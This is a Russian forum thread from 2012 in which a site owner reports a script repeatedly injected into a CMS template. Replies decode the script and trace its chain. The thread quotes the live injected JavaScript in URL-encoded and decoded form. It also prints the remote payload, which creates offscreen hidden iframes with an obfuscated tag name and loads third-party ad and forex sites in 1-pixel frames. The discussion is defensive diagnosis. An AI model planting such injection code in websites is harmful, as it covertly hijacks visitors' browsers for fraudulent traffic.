Настойчиво лезет левый скрипт.

[shk1p3r 0]

www.zaz.ru

В последний месяц с периодичностью раз в неделю в main.tpl появляется следующий скрипт

<script language="JavaScript">document.write(unescape("%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%27%4a%61%76%61%53%63%72%69%70%74%27%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%75%6e%69%31%38%2e%72%75%2f%77%70%68%65%61%64%65%72%2e%70%68%70%3f%69%3d%31%35%39%36%33%27%3e%3c%2f%73%63%72%69%70%74%3e"))</script>[/CODE]

Размещается аккурат над счетчиком mail.ru.

Есть мысли откуда он берется?

[celsoft 6 076]

Если вы не даете доступов к админпанели скрипта посторонним, и не используете сторонние модули или скрипты на сервере, то смотрите

http://forum.dle-news.ru/index.php?s=&showtopic=39386&view=findpost&p=175979

http://forum.dle-news.ru/index.php?showtopic=32928&hl=iframe

[Slavchik.ru 17]

вот че там

<script language="JavaScript">document.write(unescape("<script language='JavaScript' src='http://uni18.ru/wpheader.php?i=15963'></script>"))</script>

Изменено 31 января 2012 пользователем Slavchik.ru

[Nektov 59]

А вот и код uni18.ru/wpheader.php?i=15963

var tizerblock = document.createElement('if'+'r'+'a'+'me');

tizerblock.style.width = '170px';

tizerblock.style.height = '170px';

tizerblock.style.position = 'absolute';

tizerblock.style.left = '-1070px';

tizerblock.src='http://ip-proc.ru/gofrom.php?i=13085';

document.body.appendChild(tizerblock);

var trcount = document.createElement('if'+'r'+'a'+'me');

trcount.style.position = 'absolute';

trcount.style.width = '177px';

trcount.style.height = '177px';

trcount.style.left = '-1077px';

trcount.src='http://uni18.ru/?inid=15963&intime=664039549.5&fltr=0';

document.body.appendChild(trcount);

А вот ip-proc.ru/gofrom.php?i=13085

<nofollow><script language='JavaScript' src='http://ip-proc.ru/form.php?i=13085'></script></nofollow>

Ну и далее:

document.write("<iframe src=http://profi-forex.bz width=1 height=1 frameborder=0></iframe>");

document.write("<iframe src=http://wm-goldenclick.ru/account.html width=1 height=1 frameborder=0></iframe>");

document.write("<iframe width=1 height=1 frameborder=0 src=http://ip-proc.ru/?inif=13085&tt=664039607></iframe>");

Изменено 1 февраля 2012 пользователем Nektov